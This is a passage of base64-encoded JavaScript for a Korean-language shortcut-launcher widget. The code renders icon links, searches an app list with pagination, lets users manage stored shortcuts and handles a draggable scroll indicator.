RlbSA9IChpdGVtLCB0eXBlID0gJ2RlZmF1bHQnKSA9PiB7DQogICAgICAgICAgICBpZiAoIWl0ZW0gfHwgIWl0ZW0ubmFtZSB8fCAhaXRlbS51cmwpIHJldHVybiBkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7DQogICAgICAgICAgICBjb25zdCBsaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgcGFyYW1TdHJpbmcgPSBzaG9ydGN1dE1hbmFnZXIuZ2V0QXNQYXJhbSgpOw0KICAgICAgICAgICAgICAgIGxldCBmaW5hbFVybCA9IGl0ZW0udXJsOw0KICAgICAgICAgICAgICAgIGlmIChwYXJhbVN0cmluZykgeyB0cnkgeyBsZXQgbmV3VXJsID0gbmV3IFVSTChpdGVtLnVybCk7IGNvbnN0IFtrZXksIHZhbHVlXSA9IHBhcmFtU3RyaW5nLnNwbGl0KCc9Jyk7IG5ld1VybC5zZWFyY2hQYXJhbXMuc2V0KGtleSwgdmFsdWUpOyBmaW5hbFVybCA9IG5ld1VybC50b1N0cmluZygpfSBjYXRjaCAoZSkgeyBjb25zb2xlLmVycm9yKCdJbnZhbGlkIFVSTCBmb3Igc2VhcmNoIHJlc3VsdCBsaW5rOicsIGl0ZW0udXJsKX0gfQ0KICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IGZpbmFsVXJsOw0KICAgICAgICAgICAgfSBlbHNlIHsgbGluay5ocmVmID0gaXRlbS51cmx9DQogICAgICAgICAgICBsaW5rLmNsYXNzTmFtZSA9ICdmaGwtaWNvbi1kaXNwbGF5JzsNCgkJCWxpbmsucmVsID0gJ25vZm9sbG93JzsNCiAgICAgICAgICAgIGxpbmsuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgaXRlbS5uYW1lKTsNCiAgICAgICAgICAgIGlmICh0eXBlID09PSAnc2VhcmNoJykgeyBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZG93bicsICgpID0+IHsgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS91cGRhdGVfdmlld19jb3VudC5waHBgLCB7IG1ldGhvZDogJ1BPU1QnLCBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSwgYm9keTogSlNPTi5zdHJpbmdpZnkoeyB1cmw6IGl0ZW0udXJsIH0pIH0pLmNhdGNoKGNvbnNvbGUuZXJyb3IpfSk7IGxpbmsudGFyZ2V0ID0gJ19ibGFuayd9DQogICAgICAgICAgICBjb25zdCBpY29uQ2lyY2xlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7IGljb25DaXJjbGUuY2xhc3NOYW1lID0gJ2ZobC1pY29uLWNpcmNsZSc7DQogICAgICAgICAgICBpZiAoaXRlbS5pY29uKSB7IGNvbnN0IGljb24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpJyk7IGljb24uY2xhc3NOYW1lID0gYHBoLWJvbGQgJHtpdGVtLmljb259YDsgaWNvbkNpcmNsZS5hcHBlbmRDaGlsZChpY29uKX0NCiAgICAgICAgICAgIGVsc2UgaWYgKGl0ZW0uaW1nKSB7IGNvbnN0IGN1c3RvbUltYWdlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IGN1c3RvbUltYWdlLnNyYyA9IGl0ZW0uaW1nOyBjdXN0b21JbWFnZS5hbHQgPSBpdGVtLm5hbWU7IGN1c3RvbUltYWdlLm9uZXJyb3IgPSAoKSA9PiB7IGN1c3RvbUltYWdlLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSd9OyBpY29uQ2lyY2xlLmFwcGVuZENoaWxkKGN1c3RvbUltYWdlKX0NCiAgICAgICAgICAgIGVsc2UgeyBjb25zdCBmYXZpY29uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IGZhdmljb24uc3JjID0gYGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vczIvZmF2aWNvbnM/c3o9NjQmZG9tYWluX3VybD0ke2l0ZW0udXJsfWA7IGZhdmljb24uYWx0ID0gaXRlbS5uYW1lOyBmYXZpY29uLm9uZXJyb3IgPSAoKSA9PiB7IGZhdmljb24uc3R5bGUuZGlzcGxheSA9ICdub25lJ307IGljb25DaXJjbGUuYXBwZW5kQ2hpbGQoZmF2aWNvbil9DQogICAgICAgICAgICBsaW5rLmFwcGVuZENoaWxkKGljb25DaXJjbGUpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgdG9vbHRpcCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOyB0b29sdGlwLmNsYXNzTmFtZSA9ICdmaGwtaXRlbS10b29sdGlwJzsgdG9vbHRpcC50ZXh0Q29udGVudCA9IGl0ZW0ubmFtZS5sZW5ndGggPiA1ID8gaXRlbS5uYW1lLnNsaWNlKDAsIDUpICsgJy4uJyA6IGl0ZW0ubmFtZTsgbGluay5hcHBlbmRDaGlsZCh0b29sdGlwKTsNCiAgICAgICAgICAgICAgICBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZW50ZXInLCAoZSkgPT4geyBjb25zdCBjdXJyZW50VG9vbHRpcCA9IGUuY3VycmVudFRhcmdldC5xdWVyeVNlbGVjdG9yKCcuZmhsLWl0ZW0tdG9vbHRpcCcpOyBpZiAoIWN1cnJlbnRUb29sdGlwKSByZXR1cm47IGN1cnJlbnRUb29sdGlwLmNsYXNzTGlzdC5hZGQoJ3Zpc2libGUnKTsgY29uc3Qgd2lkZ2V0UmVjdCA9IHdpZGdldFdyYXBwZXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7IGNvbnN0IHRvb2x0aXBSZWN0ID0gY3VycmVudFRvb2x0aXAuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7IGxldCBvZmZzZXRYID0gMDsgY29uc3QgcGFkZGluZyA9IDU7IGlmICh0b29sdGlwUmVjdC5sZWZ0IDwgd2lkZ2V0UmVjdC5sZWZ0KSB7IG9mZnNldFggPSB3aWRnZXRSZWN0LmxlZnQgLSB0b29sdGlwUmVjdC5sZWZ0ICsgcGFkZGluZ30gZWxzZSBpZiAodG9vbHRpcFJlY3QucmlnaHQgPiB3aWRnZXRSZWN0LnJpZ2h0KSB7IG9mZnNldFggPSB3aWRnZXRSZWN0LnJpZ2h0IC0gdG9vbHRpcFJlY3QucmlnaHQgLSBwYWRkaW5nfSBpZiAob2Zmc2V0WCAhPT0gMCkgeyBjdXJyZW50VG9vbHRpcC5zdHlsZS50cmFuc2Zvcm0gPSBgdHJhbnNsYXRlWChjYWxjKC01MCUgKyAke29mZnNldFh9cHgpKWB9IH0pOw0KICAgICAgICAgICAgICAgIGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsIChlKSA9PiB7IGNvbnN0IGN1cnJlbnRUb29sdGlwID0gZS5jdXJyZW50VGFyZ2V0LnF1ZXJ5U2VsZWN0b3IoJy5maGwtaXRlbS10b29sdGlwJyk7IGlmICghY3VycmVudFRvb2x0aXApIHJldHVybjsgY3VycmVudFRvb2x0aXAuY2xhc3NMaXN0LnJlbW92ZSgndmlzaWJsZScpOyBjdXJyZW50VG9vbHRpcC5zdHlsZS50cmFuc2Zvcm0gPSAndHJhbnNsYXRlWCgtNTAlKSd9KTsNCiAgICAgICAgICAgIH0gZWxzZSB7IGNvbnN0IG5hbWVTcGFuID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOyBuYW1lU3Bhbi5jbGFzc05hbWUgPSAnZmhsLWl0ZW0tbmFtZSc7IG5hbWVTcGFuLnRleHRDb250ZW50ID0gaXRlbS5uYW1lLmxlbmd0aCA+IDUgPyBpdGVtLm5hbWUuc2xpY2UoMCwgNSkgKyAnLi4nIDogaXRlbS5uYW1lOyBsaW5rLmFwcGVuZENoaWxkKG5hbWVTcGFuKX0NCiAgICAgICAgICAgIGlmICh0eXBlID09PSAnbG9jYWwnKSB7DQogICAgICAgICAgICAgICAgY29uc3QgY29udHJvbHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsgY29udHJvbHMuY2xhc3NOYW1lID0gJ2ZobC1pdGVtLWNvbnRyb2xzJzsNCiAgICAgICAgICAgICAgICBjb25zdCBkZWxldGVCdG4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdidXR0b24nKTsgZGVsZXRlQnRuLmNsYXNzTmFtZSA9ICdmaGwtY29udHJvbC1idG4nOyBkZWxldGVCdG4uaW5uZXJIVE1MID0gJyZ0aW1lczsnOyBkZWxldGVCdG4udGl0bGUgPSAn7IKt7KCcJzsNCiAgICAgICAgICAgICAgICBkZWxldGVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBlLnByZXZlbnREZWZhdWx0KCk7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGxldCBzdG9yZWRJdGVtcyA9IHNob3J0Y3V0TWFuYWdlci5nZXQoKTsgc3RvcmVkSXRlbXMgPSBzdG9yZWRJdGVtcy5maWx0ZXIoc3RvcmVkID0+IHN0b3JlZC51cmwgIT09IGl0ZW0udXJsKTsgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7IGluaXRpYWxSZW5kZXIoKX0pOw0KICAgICAgICAgICAgICAgIGNvbnN0IG1vdmVCdG4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdidXR0b24nKTsgbW92ZUJ0bi5jbGFzc05hbWUgPSAnZmhsLWNvbnRyb2wtYnRuJzsgbW92ZUJ0bi5pbm5lckhUTUwgPSAnJmd0Oyc7IG1vdmVCdG4udGl0bGUgPSAn7Jik66W47Kq97Jy866GcIOydtOuPmSc7DQogICAgICAgICAgICAgICAgbW92ZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOyBjb25zdCBjdXJyZW50SW5kZXggPSBzdG9yZWRJdGVtcy5maW5kSW5kZXgoc3RvcmVkID0+IHN0b3JlZC51cmwgPT09IGl0ZW0udXJsKTsgaWYgKGN1cnJlbnRJbmRleCA+IC0xKSB7IGNvbnN0IG5ld0luZGV4ID0gKGN1cnJlbnRJbmRleCArIDEpICUgc3RvcmVkSXRlbXMubGVuZ3RoOyBjb25zdCBbbW92ZWRJdGVtXSA9IHN0b3JlZEl0ZW1zLnNwbGljZShjdXJyZW50SW5kZXgsIDEpOyBzdG9yZWRJdGVtcy5zcGxpY2UobmV3SW5kZXgsIDAsIG1vdmVkSXRlbSk7IHNob3J0Y3V0TWFuYWdlci5zZXQoc3RvcmVkSXRlbXMpOyBpbml0aWFsUmVuZGVyKCl9IH0pOw0KICAgICAgICAgICAgICAgIGNvbnRyb2xzLmFwcGVuZENoaWxkKGRlbGV0ZUJ0bik7IGNvbnRyb2xzLmFwcGVuZENoaWxkKG1vdmVCdG4pOyBsaW5rLmFwcGVuZENoaWxkKGNvbnRyb2xzKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBsaW5rOw0KICAgICAgICB9Ow0KDQpjb25zdCBhcHBlbmROZXh0UGFnZSA9ICgpID0+IHsgDQogICAgaWYgKGlzTG9hZGluZ05leHRQYWdlKSByZXR1cm47IA0KICAgIGlzTG9hZGluZ05leHRQYWdlID0gdHJ1ZTsgDQogICAgY29uc3Qgc3RhcnRJbmRleCA9IChjdXJyZW50UGFnZSAtIDEpICogSVRFTVNfUEVSX1BBR0U7IA0KICAgIGNvbnN0IGVuZEluZGV4ID0gY3VycmVudFBhZ2UgKiBJVEVNU19QRVJfUEFHRTsgDQogICAgaWYgKHN0YXJ0SW5kZXggPj0gY3VycmVudERpc3BsYXlJdGVtcy5sZW5ndGgpIHsgDQogICAgICAgIGlzTG9hZGluZ05leHRQYWdlID0gZmFsc2U7IA0KICAgICAgICByZXR1cm47DQogICAgfSANCiAgICBjb25zdCBpdGVtc1RvQXBwZW5kID0gY3VycmVudERpc3BsYXlJdGVtcy5zbGljZShzdGFydEluZGV4LCBlbmRJbmRleCk7IA0KICAgIGl0ZW1zVG9BcHBlbmQuZm9yRWFjaChpdGVtID0+IHsgDQogICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuYXBwZW5kQ2hpbGQoY3JlYXRlSWNvbkl0ZW0oaXRlbSwgJ3NlYXJjaCcpKTsNCiAgICB9KTsgDQogICAgY3VycmVudFBhZ2UrKzsgDQogICAgaXNMb2FkaW5nTmV4dFBhZ2UgPSBmYWxzZTsNCn07DQoNCmNvbnN0IHJlbmRlckluaXRpYWxSZXN1bHRzID0gKGl0ZW1zKSA9PiB7DQogICAgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5pbm5lckhUTUwgPSAnJzsNCiAgICBjdXJyZW50UGFnZSA9IDE7DQogICAgY3VycmVudERpc3BsYXlJdGVtcyA9IEFycmF5LmlzQXJyYXkoaXRlbXMpID8gaXRlbXMgOiBbXTsNCiAgICBhcHBlbmROZXh0UGFnZSgpOw0KfTsNCg0KZmV0Y2goJy9hcHBfbGlzdF9jYWNoZS5qc29uJykNCiAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpDQogICAgLnRoZW4oZGF0YSA9PiByZW5kZXJJbml0aWFsUmVzdWx0cyhkYXRhKSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gY29uc29sZS5lcnJvcign642w7J207YSwIOuhnOuTnCDsi6TtjKg6JywgZXJyb3IpKTsNCg0KICAgICAgICBjb25zdCBwZXJmb3JtU2VhcmNoID0gYXN5bmMgKHF1ZXJ5ID0gJycpID0+IHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaChgJHtBUElfQkFTRV9VUkx9L2FwcGFwaTIucGhwP3F1ZXJ5PSR7ZW5jb2RlVVJJQ29tcG9uZW50KHF1ZXJ5KX1gKTsNCiAgICAgICAgICAgICAgICBpZiAoIXJlc3BvbnNlLm9rKSB0aHJvdyBuZXcgRXJyb3IoJ0FQSSDsnZHri7Ug7Jik66WYJyk7DQogICAgICAgICAgICAgICAgY29uc3QgcmVzdWx0cyA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgICAgICAgICByZW5kZXJJbml0aWFsUmVzdWx0cyhyZXN1bHRzKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgY29uc29sZS5lcnJvcign7JWxIOuqqeuhnSDroZzrk5wg7Iuk7YyoOicsIGVycm9yKTsNCiAgICAgICAgICAgICAgICBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmlubmVySFRNTCA9ICc8cD7rqqnroZ0g66Gc65OcIOyLpO2MqDwvcD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICANCiAgICAgICAgY29uc3Qgb3BlblNlYXJjaCA9ICgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoJ3NlYXJjaC1tb2RlJyk7IHdpZGdldFdyYXBwZXIuY2xhc3NMaXN0LmFkZCgnc2VhcmNoLW1vZGUnKTsgc2VhcmNoSW5wdXQuZm9jdXMoKTsgcGVyZm9ybVNlYXJjaCgpfTsNCiAgICAgICAgDQoJCWNvbnN0IGluaXRpYWxSZW5kZXIgPSAoKSA9PiB7DQogICAgICAgICAgICBjb25zdCBhID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBiID0gWw0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5zZWFyY2gsIHVybDogJ2h0dHBzOi8vaXNhaS5rcicsIGljb246ICdwaC1zcGFya2xlJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5xdWVzdGlvbiwgdXJsOiAnaHR0cHM6Ly9pc2FpLmtyLyNjaGF0JywgaWNvbjogJ3BoLXF1ZXN0aW9uLW1hcmsnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLmNoYXJhY3RlckNoYXQsIHVybDogJ2h0dHBzOi8vbGFpLm9kdWMua3IvJywgaW1nOiAnaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuNy42L2xhaTQ4LnBuZycgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6IGEuaW1hZ2VzLCB1cmw6ICdodHRwczovLzA5OS5rci8nLCBpbWc6ICdodHRwOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEBsYXRlc3QvOTkucG5nJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5ibG9nLCB1cmw6ICdodHRwczovL2Jsb2cuMDk5LmtyJywgaW1nOiAnaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDMuMi42L3kucG5nJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogJ0FOT04nLCB1cmw6ICdodHRwczovL2Fub24uaXNhaS5rci8nLCBpbWc6ICdodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L2ExMjgucG5nJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogJ0FyY2hpdmUgQUknLCB1cmw6ICdodHRwczovL2FyY2hpLnZlYWkud29ya2Vycy5kZXYvJywgaW1nOiAnaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC9fX19fX19fX19fYm94LnBuZycgfSwNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuaW5uZXJIVE1MID0gJzxidXR0b24gY2xhc3M9ImZobC1pY29uLWNpcmNsZSIgc3R5bGU9ImJvcmRlcjowIiBpZD0iZmhsLWVkaXQtbW9kZS1idG4iPjxpIGNsYXNzPSJwaC1ib2xkIHBoLXBlbmNpbC1zaW1wbGUiPjwvaT48L2J1dHRvbj4nOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBjb25zdCBlZGl0TW9kZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZWRpdC1tb2RlLWJ0bicpOw0KICAgICAgICAgICAgaWYgKGVkaXRNb2RlQnRuKSB7DQogICAgICAgICAgICAgICAgaWYgKGxpc3RDb250YWluZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdlZGl0LW1vZGUnKSkgew0KICAgICAgICAgICAgICAgICAgICBlZGl0TW9kZUJ0bi5jbGFzc0xpc3QuYWRkKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWRpdE1vZGVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgICAgICAgICAgICAgIGxpc3RDb250YWluZXIuY2xhc3NMaXN0LnRvZ2dsZSgnZWRpdC1tb2RlJyk7DQogICAgICAgICAgICAgICAgICAgIGVkaXRNb2RlQnRuLmNsYXNzTGlzdC50b2dnbGUoJ2FjdGl2ZScpOyANCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgY29uc3QgYyA9IHNob3J0Y3V0TWFuYWdlci5nZXQoKTsNCiAgICAgICAgICAgIGxldCBkID0gWy4uLmJdOw0KICAgICAgICAgICAgZC5zcGxpY2UoMiwgMCwgLi4uYyk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IGZyYWdtZW50ID0gZG9jdW1lbnQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpOw0KICAgICAgICAgICAgZC5mb3JFYWNoKGUgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IGYgPSBjLnNvbWUoZyA9PiBnLnVybCA9PT0gZS51cmwpOw0KICAgICAgICAgICAgICAgIGNvbnN0IGggPSBmICYmICFlLmljb24gJiYgIWUuaW1nID8gJ2xvY2FsJyA6ICdkZWZhdWx0JzsNCiAgICAgICAgICAgICAgICBmcmFnbWVudC5hcHBlbmRDaGlsZChjcmVhdGVJY29uSXRlbShlLCBoKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuYXBwZW5kQ2hpbGQoZnJhZ21lbnQpOw0KDQogICAgICAgICAgICBjaGVja1Njcm9sbGFiaWxpdHkoKTsNCiAgICAgICAgICAgIHVwZGF0ZUFsbFdpZGdldExpbmtzKCk7DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IgPSAoKSA9PiB7IGNvbnN0IHNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbExlZnQ7IGNvbnN0IG1heFNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbFdpZHRoIC0gbGlzdENvbnRhaW5lci5jbGllbnRXaWR0aDsgaWYgKG1heFNjcm9sbExlZnQgPD0gMCkgcmV0dXJuOyBjb25zdCBzY3JvbGxGcmFjdGlvbiA9IHNjcm9sbExlZnQgLyBtYXhTY3JvbGxMZWZ0OyBjb25zdCB0cmFja1dpZHRoID0gaW5kaWNhdG9yVHJhY2suY2xpZW50V2lkdGg7IGNvbnN0IGluZGljYXRvcldpZHRoID0gc2Nyb2xsSW5kaWNhdG9yLmNsaWVudFdpZHRoOyBjb25zdCBtYXhJbmRpY2F0b3JMZWZ0ID0gdHJhY2tXaWR0aCAtIGluZGljYXRvcldpZHRoOyBjb25zdCBpbmRpY2F0b3JMZWZ0ID0gc2Nyb2xsRnJhY3Rpb24gKiBtYXhJbmRpY2F0b3JMZWZ0OyBzY3JvbGxJbmRpY2F0b3Iuc3R5bGUudHJhbnNmb3JtID0gYHRyYW5zbGF0ZVkoLTUwJSkgdHJhbnNsYXRlWCgke2luZGljYXRvckxlZnR9cHgpYH07DQogICAgICAgIGNvbnN0IGNoZWNrU2Nyb2xsYWJpbGl0eSA9ICgpID0+IHsgY29uc3QgaXNTY3JvbGxhYmxlID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCA+IGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QudG9nZ2xlKCdzY3JvbGxhYmxlJywgaXNTY3JvbGxhYmxlKTsgaWYgKGlzU2Nyb2xsYWJsZSkgdXBkYXRlU2Nyb2xsSW5kaWNhdG9yKCl9Ow0KICAgICAgICBsZXQgaXNEcmFnZ2luZyA9IGZhbHNlOw0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnTW92ZSA9IChlKSA9PiB7IGlmICghaXNEcmFnZ2luZykgcmV0dXJuOyBlLnByZXZlbnREZWZhdWx0KCk7IGNvbnN0IHRyYWNrUmVjdCA9IGluZGljYXRvclRyYWNrLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpOyBjb25zdCBtYXhTY3JvbGxMZWZ0ID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCAtIGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IGxldCBwb3NpdGlvblJhdGlvID0gKGUuY2xpZW50WCAtIHRyYWNrUmVjdC5sZWZ0KSAvIHRyYWNrUmVjdC53aWR0aDsgcG9zaXRpb25SYXRpbyA9IE1hdGgubWF4KDAsIE1hdGgubWluKDEsIHBvc2l0aW9uUmF0aW8pKTsgbGlzdENvbnRhaW5lci5zY3JvbGxMZWZ0ID0gcG9zaXRpb25SYXRpbyAqIG1heFNjcm9sbExlZnR9Ow0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnRW5kID0gKCkgPT4geyBpZiAoIWlzRHJhZ2dpbmcpIHJldHVybjsgaXNEcmFnZ2luZyA9IGZhbHNlOyBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdtb3VzZW1vdmUnLCBoYW5kbGVEcmFnTW92ZSk7IGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ21vdXNldXAnLCBoYW5kbGVEcmFnRW5kKX07DQogICAgICAgIGluZGljYXRvclRyYWNrLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZG93bicsIChlKSA9PiB7IGlzRHJhZ2dpbmcgPSB0cnVlOyBoYW5kbGVEcmFnTW92ZShlKTsgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vtb3ZlJywgaGFuZGxlRHJhZ01vdmUpOyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZXVwJywgaGFuZGxlRHJhZ0VuZCl9KTsNCiAgICAgICAgY29uc3QgY2xvc2VTZWFyY2ggPSAoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QucmVtb3ZlKCdzZWFyY2gtbW9kZScpOyB3aWRnZXRXcmFwcGVyLmNsYXNzTGlzdC5yZW1vdmUoJ3NlYXJjaC1tb2RlJyk7IHNlYXJjaElucHV0LnZhbHVlID0gJyc7IHNlYXJjaFJlc3VsdHNDb250YWluZXIuaW5uZXJIVE1MID0gJyd9Ow0KICAgICAgICBsZXQgaGlkZVRpbWVvdXQgPSBudWxsOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsICgpID0+IHsgY2xlYXJUaW1lb3V0KGhpZGVUaW1lb3V0KX0pOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsICgpID0+IHsgaGlkZVRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpfSwgNjAwMCl9KTsNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBpZiAoIWxhbmd1YWdlUGFuZWwuY29udGFpbnMoZS50YXJnZXQpICYmICFsYW5ndWFnZUJ0bi5jb250YWlucyhlLnRhcmdldCkpIHsgbGFuZ3VhZ2VQYW5lbC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9IGlmICh3aWRnZXRDb250YWluZXIuY29udGFpbnMoZS50YXJnZXQpKSB7IHJldHVybn0gaWYgKHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuY29udGFpbnMoJ2hpZGRlbicpKSB7IHNldFRpbWVvdXQoKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7IGNsZWFyVGltZW91dChoaWRlVGltZW91dCk7IGhpZGVUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCdoaWRkZW4nKX0sIDYwMDApfSwgNTApfSB9KTsNCiAgICAgICAgbGlzdENvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdzY3JvbGwnLCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IpOw0KICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgY2hlY2tTY3JvbGxhYmlsaXR5KTsNCiAgICAgICAgc2VhcmNoVHJpZ2dlci5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIG9wZW5TZWFyY2gpOw0KICAgICAgICBsYW5ndWFnZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGxhbmd1YWdlUGFuZWwuY2xhc3NMaXN0LnRvZ2dsZSgndmlzaWJsZScpfSk7DQoNCiAgICAgICAgDQogICAgICAgIHNlYXJjaElucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBjbGVhclRpbWVvdXQoc2VhcmNoVGltZW91dCk7DQogICAgICAgICAgICBjb25zdCBxdWVyeSA9IHRoaXMudmFsdWUudG9Mb3dlckNhc2UoKS50cmltKCk7DQogICAgICAgICAgICBzZWFyY2hUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7DQogICAgICAgICAgICAgICAgcGVyZm9ybVNlYXJjaChxdWVyeSk7DQogICAgICAgICAgICB9LCAzMDApOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignc2Nyb2xsJywgKCkgPT4geyBjb25zdCBpc0F0Qm90dG9tID0gc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5zY3JvbGxUb3AgKyBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmNsaWVudEhlaWdodCA+PSBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLnNjcm9sbEhlaWdodCAtIDEwOyBpZiAoaXNBdEJvdHRvbSkgeyBhcHBlbmROZXh0UGFnZSgpfSB9KTsNCiAgICAgICAgc2Vhc